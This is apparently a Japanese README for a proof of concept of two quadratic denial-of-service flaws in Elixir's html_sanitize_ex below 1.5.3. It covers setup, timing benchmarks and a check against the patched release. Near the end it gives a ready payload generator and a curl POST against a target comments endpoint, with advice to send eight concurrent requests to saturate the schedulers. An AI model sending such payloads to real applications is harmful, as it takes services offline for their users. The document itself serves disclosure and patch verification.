
細工されたHTMLを介してElixirのhtml_sanitize_exにおける二次方的DoSを実証するPoC。タイミングベンチマーク、リモートエクスプロイト用のcurl、パッチ適用済みバージョンに対する検証を含む。
html_sanitize_ex < 1.5.3 における二次関数的サービス拒否。
このライブラリは信頼できないHTMLを無害化するために存在するが、2つの独立した超線形コードパスにより、単一の巧妙に細工されたリクエストがBEAMスケジューラを数秒間占有させることができる。ほんの数件の同時リクエストでスケジューラプールが飽和し、アプリケーションは応答しなくなる。影響は可用性のみ(CVSS 8.2 High)である。
| CVE | コンポーネント | 脆弱性 | トリガー |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333(正規表現のバックトラッキング) | 末尾に:を持つ長い<style>内の単語文字の連続 |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407(二次関数的トラバーサル) | 許可された兄弟タグのフラットな連続(例:<b>a</b> × 20,000) |
CVE-2026-68749 に到達できるのは
html5/1(または:html5を拡張するカスタムスクラバー)経由のみである。 CVE-2026-68750 は、basic_html/1、markdown_html/1、strip_tags/1を含むすべての公開エントリポイントに存在する。
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
要件: Elixir ≥ 1.14 とインターネット接続(Hex依存関係を取得するため)。
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
脆弱な1.5.2ビルドでは以下の結果が期待される — 攻撃時のタイミングが良性のものを桁違いに上回る。その形は次のようになる(参考値。絶対値はハードウェアに依存するが、2つの攻撃の基準値はEEF CNA勧告から直接引用している):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
重要なのは比率である:攻撃は同等サイズの良性入力よりも桁違いに遅く、入力が10倍になると作業量は10倍をはるかに超える。2.4秒(80 KBの<style>)と1.7秒(20,000個の兄弟タグ)という数値は、上流の勧告から引用したものである。
mix.exs を編集し、固定バージョンをパッチ適用済みリリースに引き上げる:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
その後、再実行する:
mix deps.update html_sanitize_ex
mix run poc.exs
1.5.3では、修正によって正規表現グループが制限され([-\w]+ → [-\w]{1,64})、トラバーサーが単一のEnum.reduce + 1回のList.flatten/1(O(n²) → O(n))に書き換えられるため、良性と攻撃のタイミングは同じ桁に収束する。
実際のPhoenixアプリケーションでは、サーバーがユーザー提供のリッチテキストをサニタイズする場所ならどこでもこれらの呼び出しが発生する。攻撃者はペイロードをフィールド値としてPOSTするだけでよく、認証は不要だ:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
このようなリクエストを8件同時に送信すると、8コアホスト上の8つのBEAMスケジューラすべてが占有される。
教育目的または許可されたテストのみを対象としています。